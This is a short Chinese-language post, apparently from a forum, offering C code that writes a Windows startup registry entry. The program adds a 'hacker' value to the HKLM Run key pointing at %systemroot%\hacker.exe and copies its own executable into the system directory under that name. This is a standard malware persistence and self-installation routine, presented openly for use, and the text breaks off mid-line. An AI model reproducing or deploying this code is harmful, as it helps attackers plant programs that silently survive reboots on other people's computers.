用C语言改注册表信息

我这里来一段写入启动项的注册表代码啊..
#include <stdio.h>
#include <windows.h>
int main(void)
{
char regname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
HKEY hkResult;
int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);
ret=RegSetValueEx(hkResult,"hacker"/* 注册表键名*/,0,REG_EXPAND_SZ,(unsigned char *)"%systemroot%\\hacker.exe",25);
if(ret==0){
printf("success to write run key\n");
RegCloseKey(hkResult);
}
else {
printf("failed to open regedit.%d\n",ret);
return 0;
}
char modlepath[256];
char syspath[256];
GetModuleFileName(0,modlepath,256);//取得程序名字
GetSystemDirectory(syspath,256);
ret=CopyFile(modlepath,strcat(syspath,"\\hacker.exe"),1);
if(ret)
{
printf("%s has been copyed to sys dir %s\n",modlepath,syspa